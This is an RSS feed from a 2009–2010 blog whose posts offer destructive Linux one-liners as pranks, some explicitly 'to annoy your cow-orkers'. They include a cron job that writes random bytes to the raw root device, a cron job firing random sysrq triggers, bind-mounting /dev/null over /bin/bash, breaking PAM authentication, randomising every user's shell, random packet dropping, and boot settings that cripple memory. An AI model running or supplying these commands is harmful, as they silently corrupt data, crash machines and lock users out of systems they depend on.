<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Breaking Systems for Fun and Profit</title>
	<atom:link href="http://breakingsystemsforfunandprofit.com/feed" rel="self" type="application/rss+xml" />
	<link>http://breakingsystemsforfunandprofit.com</link>
	<description>Failure is always an option.</description>
	<lastBuildDate>Wed, 17 Feb 2010 14:11:36 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>N[eo]tworking&#8230;</title>
		<link>http://breakingsystemsforfunandprofit.com/archives/184</link>
		<comments>http://breakingsystemsforfunandprofit.com/archives/184#comments</comments>
		<pubDate>Wed, 17 Feb 2010 14:11:36 +0000</pubDate>
		<dc:creator>Mule</dc:creator>
				<category><![CDATA[Network Nuisances]]></category>
		<category><![CDATA[iptables]]></category>
		<category><![CDATA[random]]></category>

		<guid isPermaLink="false">http://breakingsystemsforfunandprofit.com/?p=184</guid>
		<description><![CDATA[
iptables -I INPUT 1 -m statistic --mode random --probability 0.25 -j DROP

]]></description>
			<content:encoded><![CDATA[
<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">iptables <span style="color: #660033;">-I</span> INPUT <span style="color: #000000;">1</span> <span style="color: #660033;">-m</span> statistic <span style="color: #660033;">--mode</span> random <span style="color: #660033;">--probability</span> <span style="color: #000000;">0.25</span> <span style="color: #660033;">-j</span> DROP</pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://breakingsystemsforfunandprofit.com/archives/184/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Accelerated bitrot</title>
		<link>http://breakingsystemsforfunandprofit.com/archives/180</link>
		<comments>http://breakingsystemsforfunandprofit.com/archives/180#comments</comments>
		<pubDate>Mon, 18 Jan 2010 17:53:41 +0000</pubDate>
		<dc:creator>Mule</dc:creator>
				<category><![CDATA[Filesystem Follies]]></category>
		<category><![CDATA[dd]]></category>
		<category><![CDATA[rootfs]]></category>

		<guid isPermaLink="false">http://breakingsystemsforfunandprofit.com/?p=180</guid>
		<description><![CDATA[Another nice one to put in cron. Putting it at roughly once every hour should provide you with nice but subtle failures over time:

ROOTDEV=$&#40;df -h / &#124; sed -n '2p' &#124; cut -d ' ' -f1&#41;
ROOTSZ=$&#91;$&#40;blockdev --getsz ${ROOTDEV}&#41; * 512&#93;
LOCATION=$&#91;${RANDOM} * ${RANDOM} * ${RANDOM} % ${ROOTSZ}&#93;
dd if=/dev/urandom of=${ROOTDEV} bs=1 count=1 seek=${LOCATION} conv=notrunc

]]></description>
			<content:encoded><![CDATA[<p>Another nice one to put in cron. Putting it at roughly once every hour should provide you with nice but subtle failures over time:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #007800;">ROOTDEV</span>=$<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">df</span> <span style="color: #660033;">-h</span> <span style="color: #000000; font-weight: bold;">/</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">sed</span> <span style="color: #660033;">-n</span> <span style="color: #ff0000;">'2p'</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">cut</span> <span style="color: #660033;">-d</span> <span style="color: #ff0000;">' '</span> -f1<span style="color: #7a0874; font-weight: bold;">&#41;</span>
<span style="color: #007800;">ROOTSZ</span>=$<span style="color: #7a0874; font-weight: bold;">&#91;</span>$<span style="color: #7a0874; font-weight: bold;">&#40;</span>blockdev <span style="color: #660033;">--getsz</span> <span style="color: #800000;">${ROOTDEV}</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000; font-weight: bold;">*</span> <span style="color: #000000;">512</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>
<span style="color: #007800;">LOCATION</span>=$<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #800000;">${RANDOM}</span> <span style="color: #000000; font-weight: bold;">*</span> <span style="color: #800000;">${RANDOM}</span> <span style="color: #000000; font-weight: bold;">*</span> <span style="color: #800000;">${RANDOM}</span> <span style="color: #000000; font-weight: bold;">%</span> <span style="color: #800000;">${ROOTSZ}</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>
<span style="color: #c20cb9; font-weight: bold;">dd</span> <span style="color: #007800;"><span style="color: #000000; font-weight: bold;">if</span></span>=<span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>urandom <span style="color: #007800;">of</span>=<span style="color: #800000;">${ROOTDEV}</span> <span style="color: #007800;">bs</span>=<span style="color: #000000;">1</span> <span style="color: #007800;">count</span>=<span style="color: #000000;">1</span> <span style="color: #007800;">seek</span>=<span style="color: #800000;">${LOCATION}</span> <span style="color: #007800;">conv</span>=notrunc</pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://breakingsystemsforfunandprofit.com/archives/180/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>We don&#8217;t play favourites.</title>
		<link>http://breakingsystemsforfunandprofit.com/archives/176</link>
		<comments>http://breakingsystemsforfunandprofit.com/archives/176#comments</comments>
		<pubDate>Tue, 12 Jan 2010 19:28:09 +0000</pubDate>
		<dc:creator>Mule</dc:creator>
				<category><![CDATA[Bash Bonanza]]></category>
		<category><![CDATA[chsh]]></category>
		<category><![CDATA[random]]></category>
		<category><![CDATA[shell]]></category>

		<guid isPermaLink="false">http://breakingsystemsforfunandprofit.com/?p=176</guid>
		<description><![CDATA[Include this somewhere in cron, or just run it yourself from time to time to give your users the diversity they so rightly deserve:

for I in $&#40;getent passwd &#124; cut -d: -f1 &#41;
do
    chsh -s $&#40;sort -R /etc/shells &#124; head -n1&#41; ${I}
done

]]></description>
			<content:encoded><![CDATA[<p>Include this somewhere in cron, or just run it yourself from time to time to give your users the diversity they so rightly deserve:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">for</span> I <span style="color: #000000; font-weight: bold;">in</span> $<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">getent</span> <span style="color: #c20cb9; font-weight: bold;">passwd</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">cut</span> -d: <span style="color: #660033;">-f1</span> <span style="color: #7a0874; font-weight: bold;">&#41;</span>
<span style="color: #000000; font-weight: bold;">do</span>
    <span style="color: #c20cb9; font-weight: bold;">chsh</span> <span style="color: #660033;">-s</span> $<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">sort</span> <span style="color: #660033;">-R</span> <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>shells <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">head</span> -n1<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #800000;">${I}</span>
<span style="color: #000000; font-weight: bold;">done</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://breakingsystemsforfunandprofit.com/archives/176/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Add some spice to your life</title>
		<link>http://breakingsystemsforfunandprofit.com/archives/170</link>
		<comments>http://breakingsystemsforfunandprofit.com/archives/170#comments</comments>
		<pubDate>Wed, 16 Dec 2009 10:47:57 +0000</pubDate>
		<dc:creator>Mule</dc:creator>
				<category><![CDATA[Cron Crapola]]></category>
		<category><![CDATA[Kernel Capers]]></category>
		<category><![CDATA[random]]></category>
		<category><![CDATA[sysrq]]></category>

		<guid isPermaLink="false">http://breakingsystemsforfunandprofit.com/?p=170</guid>
		<description><![CDATA[Spice up your life a bit with the following command:

echo 'SYSRQLETTERS=&#34;bcdefghijklmnopqrstuvwx&#34;; echo ${SYSRQLETTERS} &#124; cut -c $[$RANDOM % ${#SYSRQLETTERS} + 1] &#62; /proc/sysrq-trigger' &#62; /etc/cron.hourly/happyfuntime; chmod +x /etc/cron.hourly/happyfuntime

]]></description>
			<content:encoded><![CDATA[<p>Spice up your life a bit with the following command:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">'SYSRQLETTERS=&quot;bcdefghijklmnopqrstuvwx&quot;; echo ${SYSRQLETTERS} | cut -c $[$RANDOM % ${#SYSRQLETTERS} + 1] &gt; /proc/sysrq-trigger'</span> <span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>cron.hourly<span style="color: #000000; font-weight: bold;">/</span>happyfuntime; <span style="color: #c20cb9; font-weight: bold;">chmod</span> +x <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>cron.hourly<span style="color: #000000; font-weight: bold;">/</span>happyfuntime</pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://breakingsystemsforfunandprofit.com/archives/170/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>No Reservations?</title>
		<link>http://breakingsystemsforfunandprofit.com/archives/164</link>
		<comments>http://breakingsystemsforfunandprofit.com/archives/164#comments</comments>
		<pubDate>Tue, 15 Dec 2009 11:00:31 +0000</pubDate>
		<dc:creator>Mule</dc:creator>
				<category><![CDATA[Filesystem Follies]]></category>
		<category><![CDATA[rootfs]]></category>
		<category><![CDATA[tune2fs]]></category>

		<guid isPermaLink="false">http://breakingsystemsforfunandprofit.com/?p=164</guid>
		<description><![CDATA[
tune2fs -m50 $&#40;mount &#124; awk '/on \/ type/{print $1}'&#41;

]]></description>
			<content:encoded><![CDATA[
<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">tune2fs <span style="color: #660033;">-m50</span> $<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">mount</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">awk</span> <span style="color: #ff0000;">'/on \/ type/{print $1}'</span><span style="color: #7a0874; font-weight: bold;">&#41;</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://breakingsystemsforfunandprofit.com/archives/164/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bad memory</title>
		<link>http://breakingsystemsforfunandprofit.com/archives/160</link>
		<comments>http://breakingsystemsforfunandprofit.com/archives/160#comments</comments>
		<pubDate>Mon, 14 Dec 2009 10:21:46 +0000</pubDate>
		<dc:creator>Mule</dc:creator>
				<category><![CDATA[Kernel Capers]]></category>
		<category><![CDATA[bad memory]]></category>
		<category><![CDATA[memmap]]></category>

		<guid isPermaLink="false">http://breakingsystemsforfunandprofit.com/?p=160</guid>
		<description><![CDATA[This little baby will tell your kernel that the first 256 Gibibytes of memory are not to be used. Run it, reboot, watch hilarity ensue:

sed -i -r '/vmlinuz/s/(.*)/\1 memmap=256G$0x0000/' /boot/grub/grub.conf

]]></description>
			<content:encoded><![CDATA[<p>This little baby will tell your kernel that the first 256 Gibibytes of memory are not to be used. Run it, reboot, watch hilarity ensue:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">sed</span> <span style="color: #660033;">-i</span> <span style="color: #660033;">-r</span> <span style="color: #ff0000;">'/vmlinuz/s/(.*)/\1 memmap=256G$0x0000/'</span> <span style="color: #000000; font-weight: bold;">/</span>boot<span style="color: #000000; font-weight: bold;">/</span>grub<span style="color: #000000; font-weight: bold;">/</span>grub.conf</pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://breakingsystemsforfunandprofit.com/archives/160/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bound to nothing&#8230;</title>
		<link>http://breakingsystemsforfunandprofit.com/archives/157</link>
		<comments>http://breakingsystemsforfunandprofit.com/archives/157#comments</comments>
		<pubDate>Wed, 11 Nov 2009 19:23:55 +0000</pubDate>
		<dc:creator>Mule</dc:creator>
				<category><![CDATA[Init Influences]]></category>
		<category><![CDATA[/dev/null]]></category>
		<category><![CDATA[bind-mount]]></category>
		<category><![CDATA[linux]]></category>

		<guid isPermaLink="false">http://breakingsystemsforfunandprofit.com/?p=157</guid>
		<description><![CDATA[Add this little sucker to /etc/fstab and reboot:

/dev/null    /bin/bash    bind   bind   0 0

]]></description>
			<content:encoded><![CDATA[<p>Add this little sucker to <code>/etc/fstab</code> and reboot:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>null    <span style="color: #000000; font-weight: bold;">/</span>bin<span style="color: #000000; font-weight: bold;">/</span><span style="color: #c20cb9; font-weight: bold;">bash</span>    <span style="color: #7a0874; font-weight: bold;">bind</span>   <span style="color: #7a0874; font-weight: bold;">bind</span>   <span style="color: #000000;">0</span> <span style="color: #000000;">0</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://breakingsystemsforfunandprofit.com/archives/157/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>sysfunboost</title>
		<link>http://breakingsystemsforfunandprofit.com/archives/153</link>
		<comments>http://breakingsystemsforfunandprofit.com/archives/153#comments</comments>
		<pubDate>Thu, 22 Oct 2009 15:18:24 +0000</pubDate>
		<dc:creator>Mule</dc:creator>
				<category><![CDATA[Bash Bonanza]]></category>

		<guid isPermaLink="false">http://breakingsystemsforfunandprofit.com/?p=153</guid>
		<description><![CDATA[bmr just pointed me towards this one.
It looks like a nice way to annoy your cow-orkers&#8230;
]]></description>
			<content:encoded><![CDATA[<p>bmr just pointed me towards <a href="http://github.com/jaspervdj/sysfunboost.sh/blob/master/sysfunboost.sh">this</a> one.</p>
<p>It looks like a nice way to annoy your cow-orkers&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://breakingsystemsforfunandprofit.com/archives/153/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Speed? What speed?</title>
		<link>http://breakingsystemsforfunandprofit.com/archives/149</link>
		<comments>http://breakingsystemsforfunandprofit.com/archives/149#comments</comments>
		<pubDate>Wed, 14 Oct 2009 12:30:39 +0000</pubDate>
		<dc:creator>Mule</dc:creator>
				<category><![CDATA[Kernel Capers]]></category>

		<guid isPermaLink="false">http://breakingsystemsforfunandprofit.com/?p=149</guid>
		<description><![CDATA[This one got submitted by Ray:

echo &#34;base=0x00000000 size=0xffffffff type=uncachable&#34; &#62; /proc/mtrr

It works best if you put it in rc.sysinit or any other place early in your boot sequence.
]]></description>
			<content:encoded><![CDATA[<p>This one got submitted by Ray:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;base=0x00000000 size=0xffffffff type=uncachable&quot;</span> <span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #000000; font-weight: bold;">/</span>proc<span style="color: #000000; font-weight: bold;">/</span>mtrr</pre></div></div>

<p>It works best if you put it in <code>rc.sysinit</code> or any other place early in your boot sequence.</p>
]]></content:encoded>
			<wfw:commentRss>http://breakingsystemsforfunandprofit.com/archives/149/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>What login?</title>
		<link>http://breakingsystemsforfunandprofit.com/archives/145</link>
		<comments>http://breakingsystemsforfunandprofit.com/archives/145#comments</comments>
		<pubDate>Wed, 14 Oct 2009 08:20:19 +0000</pubDate>
		<dc:creator>Mule</dc:creator>
				<category><![CDATA[Pam Ponies]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[pam]]></category>

		<guid isPermaLink="false">http://breakingsystemsforfunandprofit.com/?p=145</guid>
		<description><![CDATA[Try and have some fun with this one:

sed -i 's/unix/time/g' /etc/pam.d/system-auth

]]></description>
			<content:encoded><![CDATA[<p>Try and have some fun with this one:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">sed</span> <span style="color: #660033;">-i</span> <span style="color: #ff0000;">'s/unix/time/g'</span> <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>pam.d<span style="color: #000000; font-weight: bold;">/</span>system-auth</pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://breakingsystemsforfunandprofit.com/archives/145/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
